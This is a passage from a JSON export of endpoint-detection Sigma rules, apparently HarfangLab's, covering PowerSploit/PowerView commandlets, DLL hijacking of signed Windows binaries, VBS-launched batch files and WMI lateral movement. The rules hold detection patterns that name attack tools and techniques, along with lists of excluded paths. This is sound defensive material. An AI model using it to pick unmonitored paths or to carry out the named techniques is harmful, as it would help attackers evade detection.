'Invoke-EnumerateLocalAdmin'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "60c69b67-1825-42a8-bfa3-cfe816b7923a",
+  "rule_name": "Malicious PowerShell PowerView Commandlets",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with the PowerSploit framework.\nPowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.\nThis specific commandlets is part of PowerView module of PowerSploit which is series of functions that performs network and Windows domain enumeration and exploitation.\nIt is recommended to analyze actions taken by the PowerShell host process as well as to look for other suspicious activities on the host.\n",
+  "rule_creation_date": "2022-07-21",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6119d31f-e510-43d1-9d78-fb427e5e1e65",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095970Z",
+  "creation_date": "2026-03-23T11:45:34.095971Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095976Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_upfc.yml",
+  "content": "title: DLL Hijacking via upfc.exe\nid: 6119d31f-e510-43d1-9d78-fb427e5e1e65\ndescription: |\n    Detects potential Windows DLL Hijacking via upfc.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'upfc.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n        ImageLoaded|endswith: '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6119d31f-e510-43d1-9d78-fb427e5e1e65",
+  "rule_name": "DLL Hijacking via upfc.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via upfc.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61392ba5-1afb-4268-9fd4-f2a5387dbecd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.602744Z",
+  "creation_date": "2026-03-23T11:45:34.602748Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.602755Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dxgiadaptercache.yml",
+  "content": "title: DLL Hijacking via dxgiadaptercache.exe\nid: 61392ba5-1afb-4268-9fd4-f2a5387dbecd\ndescription: |\n    Detects potential Windows DLL Hijacking via dxgiadaptercache.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dxgiadaptercache.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\d3d11.dll'\n            - '\\d3d12.dll'\n            - '\\dxgi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61392ba5-1afb-4268-9fd4-f2a5387dbecd",
+  "rule_name": "DLL Hijacking via dxgiadaptercache.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dxgiadaptercache.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "613c9778-02e2-4a21-b3ee-cbad7550f413",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622432Z",
+  "creation_date": "2026-03-23T11:45:34.622434Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622438Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://stmxcsr.com/persistence/looking-at-the-startup-directory.html",
+    "https://twitter.com/1ZRR4H/status/1575364101148114944",
+    "https://twitter.com/AnFam17/status/1658666291308163072",
+    "https://www.netskope.com/fr/blog/asyncrat-using-fully-undetected-downloader",
+    "https://blog.talosintelligence.com/asyncrat-3losh-update/",
+    "https://attack.mitre.org/techniques/T1059/005/",
+    "https://attack.mitre.org/techniques/T1547/"
+  ],
+  "name": "t1059_005_susp_vbs_to_bat_tree.yml",
+  "content": "title: Suspicious Execution of Batch or Command File by VBS Script\nid: 613c9778-02e2-4a21-b3ee-cbad7550f413\ndescription: |\n    Detects a suspicious execution of a Batch or Command file from a VBS script.\n    This execution tree is often exploited by attackers as a way to evade defenses and load malware.\n    Due to nature of these scripts, we have excluded some common paths where these scripts may be placed.\n    If you wish to investigate persistence in your network through this method in paths that aren't covered by this rule, you may investigate the scripts present in the paths excluded.\n    It is recommended to create a job to download the different scripts associated with this process tree, and investigate them for malicious content.\n    It is also recommended to create whitelists for this rule, as these scripts may also be used by system administrators to automate certain tasks and cause false positives.\n    An investigative guide is also present in the first link of references.\nreferences:\n    - https://stmxcsr.com/persistence/looking-at-the-startup-directory.html\n    - https://twitter.com/1ZRR4H/status/1575364101148114944\n    - https://twitter.com/AnFam17/status/1658666291308163072\n    - https://www.netskope.com/fr/blog/asyncrat-using-fully-undetected-downloader\n    - https://blog.talosintelligence.com/asyncrat-3losh-update/\n    - https://attack.mitre.org/techniques/T1059/005/\n    - https://attack.mitre.org/techniques/T1547/\ndate: 2023/05/17\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.005\n    - attack.persistence\n    - attack.t1547\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.VBScript\n    - classification.Windows.LOLBin.WScript\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_context:\n        ParentImage|endswith: '\\WScript.exe'\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains:\n            - '.bat'\n            - '.cmd'\n        CurrentDirectory:\n            - '?:\\windows\\\\*'\n            - '?:\\ProgramData\\\\*'\n            - '?:\\PerfLogs\\\\*'\n            - '?:\\temp\\\\*'\n            - '?:\\users\\\\*'\n            - '?:\\\\?Recycle.Bin\\\\*'\n            - '?:\\'\n\n    filter_cmd:\n        CommandLine|startswith:\n            - '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\'\n            - '?:\\WINDOWS\\SysWOW64\\cmd.exe /c ?:\\'\n\n    selection_cmd:\n        CommandLine|contains:\n            - '\\cmd.exe /c ?:\\windows\\'\n            - '\\cmd.exe /c ?:\\ProgramData\\'\n            - '\\cmd.exe /c ?:\\PerfLogs\\'\n            - '\\cmd.exe /c ?:\\temp\\'\n            - '\\cmd.exe /c ?:\\users\\'\n            - '\\cmd.exe /c ?:\\\\?Recycle.Bin\\'\n\n    # Group or network policies, exanple:\n    # Parent: WScript.exe \\\\networkexample.local\\SysVol\\networkexample\\Policies\\[...]\n    # Child: cmd.exe /c \\\\networkexample.local\\netlogon\\cert\\printer.bat\n\n    # Netlogon is a Windows Server procedure allowing users\n    # and other domain services to authenticate.\n    # Scripts are commonly placed here to execute tasks upon user logins.\n    exclusion_policies:\n        ParentCommandLine|contains:\n            - '\\\\\\\\*\\SysVol\\\\*\\Logon\\\\*.vbs'\n            - '\\\\\\\\*\\SysVol\\\\*\\Policies\\\\*.vbs'\n            - '\\\\\\\\*\\netlogon\\\\*.vbs'\n        CommandLine|contains:\n            - '\\\\\\\\*\\SysVol\\\\*\\Logon\\\\*.vbs'\n            - '\\\\\\\\*\\SysVol\\\\*\\Scripts\\\\*.cmd'\n            - '\\\\\\\\*\\SysVol\\\\*\\Scripts\\\\*.bat'\n            - '\\\\\\\\*\\SysVol\\\\*\\Policies\\\\*.cmd'\n            - '\\\\\\\\*\\SysVol\\\\*\\Policies\\\\*.bat'\n            - '\\\\\\\\*\\netlogon\\\\*.cmd'\n            - '\\\\\\\\*\\netlogon\\\\*.bat'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    # Tasks used by Intel QUEENCREEK/WILLAMETTE for installing drivers.\n    exclusion_intel_queencreek:\n        ParentCommandLine|endswith:\n            - '\\Intel\\SUR\\QUEENCREEK\\x64\\task.vbs'\n            - '\\Intel\\SUR\\WILLAMETTE\\ESRV\\task.vbs'\n        CommandLine|endswith:\n            - '\\Intel\\SUR\\QUEENCREEK\\x64\\task.bat'\n            - '\\Intel\\SUR\\WILLAMETTE\\ESRV\\task.bat'\n\n    exclusion_adaudit_plus:\n        ParentCommandLine|contains: '\\ManageEngine\\ADAudit Plus\\bin\\AlertMe.vbs'\n        CommandLine|contains: '\\ManageEngine\\ADAudit Plus\\bin\\servicemonitor.bat '\n\n    exclusion_fiducial:\n        ParentCommandLine|contains: '\\AppData\\Roaming\\FIDUCIAL\\compta\\tmp\\Backup*.vbs'\n        CommandLine|contains: '\\AppData\\Roaming\\FIDUCIAL\\compta\\tmp\\Backup*.bat'\n\n    exclusion_cisco_asdm:\n        ParentCommandLine|endswith: 'invisible.vbs run.bat'\n        CommandLine|endswith: '\\Cisco Systems\\ASDM\\run.bat'\n\n    exclusion_glims:\n        ParentCommandLine|endswith:\n            - 'glims8\\lbin\\test_backup.vbs'\n            - 'glims8\\lbin\\new_purge_ai.vbs'\n        CommandLine|endswith:\n            - '\\bin\\proutil.bat genrw -C describe | findstr /C:Last Full Backup'\n            - '\\bin\\proutil.bat glims -C describe | findstr /C:Last Full Backup'\n\n    exclusion_serpro_gov_br:\n        ParentCommandLine|endswith: 'Assinador Serpro\\exec_assinador.vbs'\n        CommandLine|endswith: 'signerDesktopAgent.bat'\n\n    exclusion_usb_burning:\n        ParentCommandLine|contains: '\\OEgetPriv_usb_burning_tool.vbs'\n        CommandLine|endswith: '\\usb_burning_tool.bat'\n\n    exclusion_affymetrix:\n        - ParentCommandLine|contains: '\\Program Files\\Affymetrix\\ChAS\\ChAS.vbs'\n        - CommandLine|contains: '\\Program Files\\Affymetrix\\ChAS\\ChAS.bat'\n\n    exclusion_nicesoft:\n        ParentCommandLine|contains|all:\n            - 'Nicesoft\\invisible.vbs'\n            - 'launch_CRC55v2.bat'\n        CommandLine|endswith: '\\Nicesoft\\launch_CRC55v2.bat'\n\n    exclusion_y_soft:\n        ParentCommandLine|contains: '\\Y Soft\\SafeQ Client\\hide.js'\n        CommandLine|contains: '\\Y Soft\\SafeQ Client\\after_installation.bat'\n\n    exclusion_eton_pro:\n        ParentCommandLine|contains|all:\n            - '\\eTonPro\\invisible.vbs'\n            - '\\eTonPro\\agent.bat'\n        CommandLine|endswith: '\\eTonPro\\agent.bat'\n\n    exclusion_yaw_cam:\n        ParentCommandLine|endswith: 'start.vbs start.bat'\n        CommandLine|endswith:\n            - '\\Yawcam\\start.bat'\n            - '\\Yawcam\\start_java_test.bat'\n\n    exclusion_zenidoc:\n        ParentCommandLine|endswith: '\\zenidoc\\getusersbgn.vbs'\n        CommandLine|endswith: '\\Zenidoc\\SQLInputAD.bat'\n\n    exclusion_citrix:\n        ParentCommandLine|contains: '\\Yansys\\SYSEO Wrapper\\SYSEO_Citrix_Hide_Window.vbs'\n        CommandLine|contains: '\\Yansys\\SYSEO Wrapper\\SYSEO_Citrix_Loop.cmd'\n\n    exclusion_remote:\n        ParentCommandLine: '?:\\Windows\\System32\\WScript.exe \\\\\\\\*'\n\n    exclusion_schedule:\n        - ParentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        - GrandparentCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n\n    exclusion_ccm:\n        - CommandLine|startswith: '?:\\WINDOWS\\System32\\cmd.exe /c ?:\\Windows\\ccmcache\\'\n        - CurrentDirectory|startswith: '?:\\WINDOWS\\ccmcache\\'\n        - ProcessAncestors|contains: '?:\\Windows\\ccmcache\\'\n\n    exclusion_desktop:\n        CommandLine|startswith: '?:\\WINDOWS\\system32\\cmd.exe /c ?:\\Users\\\\*\\Desktop\\\\*'\n\n    condition: selection_context and (not filter_cmd or selection_cmd) and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "613c9778-02e2-4a21-b3ee-cbad7550f413",
+  "rule_name": "Suspicious Execution of Batch or Command File by VBS Script",
+  "rule_description": "Detects a suspicious execution of a Batch or Command file from a VBS script.\nThis execution tree is often exploited by attackers as a way to evade defenses and load malware.\nDue to nature of these scripts, we have excluded some common paths where these scripts may be placed.\nIf you wish to investigate persistence in your network through this method in paths that aren't covered by this rule, you may investigate the scripts present in the paths excluded.\nIt is recommended to create a job to download the different scripts associated with this process tree, and investigate them for malicious content.\nIt is also recommended to create whitelists for this rule, as these scripts may also be used by system administrators to automate certain tasks and cause false positives.\nAn investigative guide is also present in the first link of references.\n",
+  "rule_creation_date": "2023-05-17",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.005",
+    "attack.t1547"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61760ce9-0e79-4360-81e4-a0c50dab9c8c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.619715Z",
+  "creation_date": "2026-03-23T11:45:34.619717Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.619721Z",
+  "rule_level": "high",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1047/"
+  ],
+  "name": "t1047_wmi_process_execution.yml",
+  "content": "title: Possible Lateral Movement via WMI\nid: 61760ce9-0e79-4360-81e4-a0c50dab9c8c\ndescription: |\n    Detects processes spawned by the Windows Management Instrumentation (WMI) service, specifically when the parent process is \"wmiprvse.exe\".\n    WMI is a legitimate management tool used for system administration, but attackers may abuse this mechanism for lateral movement, persistence, or to execute malicious commands. This rule focuses on detecting potentially malicious use by monitoring the spawned processes.\n    It is recommended to review the actions of the child processes to identify any suspicious activities and to verify if the processes align with legitimate management tasks.\nreferences:\n    - https://attack.mitre.org/techniques/T1047/\ndate: 2020/09/28\nmodified: 2026/02/16\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.lateral_movement\n    - attack.t1047\n    - attack.t1059.001\n    - attack.t1059.005\n    - attack.t1059.007\n    - attack.persistence\n    - attack.t1546.003\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\wmiprvse.exe'\n\n    # This is handled by the rule c110eda5-b1c7-4bb4-9a9d-8a48bcc98222\n    filter_impacket:\n        ProcessImage: '*\\cmd.exe'\n        CommandLine|re: '.* [/-]Q [/-]c .*'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\program files\\'\n            - '?:\\program files (x86)\\'\n\n    exclusion_image:\n        Image:\n            - '?:\\Windows\\winsxs\\\\*'\n            - '?:\\WINDOWS\\system32\\msiexec.exe'\n            - '?:\\Windows\\System32\\gpupdate.exe'\n            - '?:\\WINDOWS\\system32\\WerFault.exe'\n            - '?:\\WINDOWS\\syswow64\\WerFault.exe'\n            - '?:\\windows\\system32\\shutdown.exe'\n            - '?:\\windows\\system32\\wusa.exe'\n            - '?:\\Windows\\System32\\wdsutil.exe'\n            - '?:\\Windows\\System32\\Robocopy.exe'\n            - '?:\\windows\\system32\\spool\\drivers\\x64\\3\\kdsinst.exe' # Kyocera\n            - '?:\\windows\\system32\\inetsrv\\appcmd.exe'\n            - '?:\\Windows\\System32\\wbem\\mofcomp.exe'\n            - '?:\\Windows\\SysWOW64\\wbem\\mofcomp.exe'\n            - '?:\\Windows\\System32\\changepk.exe'\n            - '?:\\Windows Kits\\10\\Assessment and Deployment Kit\\Deployment Tools\\amd64\\DISM\\\\*'\n            - '?:\\Windows\\System32\\powercfg.exe'\n            - '?:\\Windows\\SysWOW64\\powercfg.exe'\n            - '?:\\Windows\\System32\\Dism.exe'\n            - '?:\\Windows\\System32\\Dism\\DismHost.exe'\n\n    exclusion_ccm:\n        - CommandLine|contains:\n            - '?:\\WINDOWS\\CCM\\'\n            - '?:\\WINDOWS\\ccmcache\\'\n            - '?:\\CCM\\cache\\'\n            - '?:\\Program Files\\SMS_CCM\\SystemTemp\\'\n            - '?:\\SMS_CCM\\SystemTemp\\'\n            - '?:\\SMS_CCM\\SignedScripts\\'\n            - ' ?:\\SMS_CCM\\'\n            - '?:\\SCCM\\SystemTemp\\'\n            - '\\\\\\\\*\\\\*$\\SCCM\\'\n        - Image|contains:\n            - '\\windows\\CCM\\'\n            - '\\windows\\ccmcache\\'\n        - CurrentDirectory:\n            - '?:\\WINDOWS\\CCM'\n            - '?:\\WINDOWS\\ccmcache'\n            - '?:\\WINDOWS\\CCM\\'\n            - '?:\\WINDOWS\\ccmcache\\'\n            - '?:\\WINDOWS\\CCM\\\\*'\n            - '?:\\WINDOWS\\ccmcache\\\\*'\n            - '?:\\CCM\\cache\\'\n            - '?:\\temp\\ccmcache\\\\*'\n\n    exclusion_officeaddin:\n        CommandLine: 'regsvr32 /s /n /i:OnPrinterAccess ?:\\Windows\\system32\\spool\\DRIVERS\\x64\\3\\UDCOfficeAddin200?.dll'\n\n    exclusion_dismhost:\n        # C:\\Windows\\TEMP\\C4460A5F-41D2-4AF8-93ED-C798D5EA5DCF\\dismhost.exe {8B671A1D-057F-4726-8F92-F96A85B0B3D1}\n        # C:\\TEMP\\D151D5A1-C293-4EA4-BCA9-3560C4E7255F\\dismhost.exe {65F42C8B-5DC0-4024-AFEC-01F734190E5F}\n        # C:\\Temps\\5B2118D0-183C-4838-8331-87EEE4AC4FA5\\DismHost.exe\n        Image:\n            - '?:\\windows\\temp\\\\????????-????-????-????-????????????\\dismhost.exe'\n            - '?:\\temp\\\\????????-????-????-????-????????????\\dismhost.exe'\n            - '?:\\temps\\\\????????-????-????-????-????????????\\dismhost.exe'\n\n    exclusion_wmiprvse:\n        CommandLine:\n            - '?:\\windows\\system32\\wbem\\wmiprvse.exe -embedding'\n            - '?:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding'\n            - '?:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -Embedding'\n            - '?:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding'\n\n    exclusion_konica_minolta:\n        # commandline :\n        #       /a \"c:\\windows\\system32\\spool\\drivers\\w32x86\\3\\kob__j_2.7z\" /o \"c:\\programdata\\konica minolta\\kmupdcache\\x86_280\\pcl\\\" /m \"com-pcl-bf03\" /i \"model.ini\" /d \"c:\\programdata\\konica minolta\\kmupdcache\\x86_280\\pcl\\kob__j_3\\7zdll\\x86\\7z.dll\"\n        #       /a C:\\WINDOWS\\system32\\spool\\DRIVERS\\x64\\3\\KOB__A_2.cab /o C:\\Users\\xxxx\\AppData\\Roaming\\KONICA MINOLTA\\UniversalDriver\\x64\\models\" /m com-ps /i model.ini\n        # image:\n        #    ?:\\windows\\system32\\spool\\drivers\\w32x86\\3\\kob__j_3.exe\n        #    ?:\\Windows\\System32\\spool\\drivers\\x64\\3\\KOB__A_3.EXE\n        Image: '?:\\Windows\\System32\\spool\\drivers\\\\*\\3\\KOB__?_3.EXE'\n        CommandLine|contains:\n            - '\\programdata\\konica minolta\\kmupdcache'\n            - '\\AppData\\Roaming\\KONICA MINOLTA\\'\n            - '\\kmupdcache'\n\n    exclusion_wimserv:\n        Image: '?:\\Windows\\System32\\wimserv.exe'\n        CommandLine: 'wimserv.exe ????????-????-????-????-????????????'\n\n    exclusion_iis_or_exchange_update:\n        # 2022/10/02 : seen a lot after ProxyNotShell vuln was released, probably related to patching / workaournd of the vuln\n        # C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\inetsrv\\appcmd.exe set config Default Web Site/TOKENAUTH_SMS_DP_SMSSIG$ /section:directoryBrowse /enabled:true /commit:apphost\n        # C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\inetsrv\\appcmd.exe set config Default Web Site/TOKENAUTH_SMS_DP_SMSSIG$ -section:system.webServer/staticContent /+[fileExtension = '.*', mimeType = 'DP_ALL_FILETYPES'] /commit:apphost\n        # C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\inetsrv\\appcmd.exe ADD App /site.name:Default Web Site /path:/TOKENAUTH_SMS_DP_SMSSIG$ /physicalPath:F:\\SMSSIG$ /app.name:TOKENAUTH_SMS_DP_SMSSIG$\n        # C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\inetsrv\\appcmd.exe delete app /app.name:Default Web Site/NOCERT_CCMTOKENAUTH_SMS_DP_SMSSIG$\n        # C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\inetsrv\\appcmd.exe set config -section:system.webServer/security/applicationDependencies /+[name = 'SMS Distribution Point', groupId = 'SMS_DP'] /commit:apphost\n        # C:\\Windows\\system32\\cmd.exe /c C:\\Windows\\system32\\inetsrv\\appcmd.exe set app /app.name:Default Web Site/CCMTOKENAUTH_SMS_DP_SMSSIG$ /applicationPool:SMS Distribution Points Pool /commit:apphost\n        CommandLine|startswith: '?:\\Windows\\system32\\cmd.exe /c ?:\\Windows\\system32\\inetsrv\\appcmd.exe'\n\n    exclusion_restarthealthservice_js:\n        # https://systemcenter.wiki/?GetElement=Microsoft.SystemCenter.AgentManagement.RestartHealthServiceAction&Type=WriteActionModuleType&ManagementPack=Microsoft.SystemCenter.2007&Version=6.1.7695.0\n        # c:\\windows\\system32\\cmd.exe /c cscript.exe 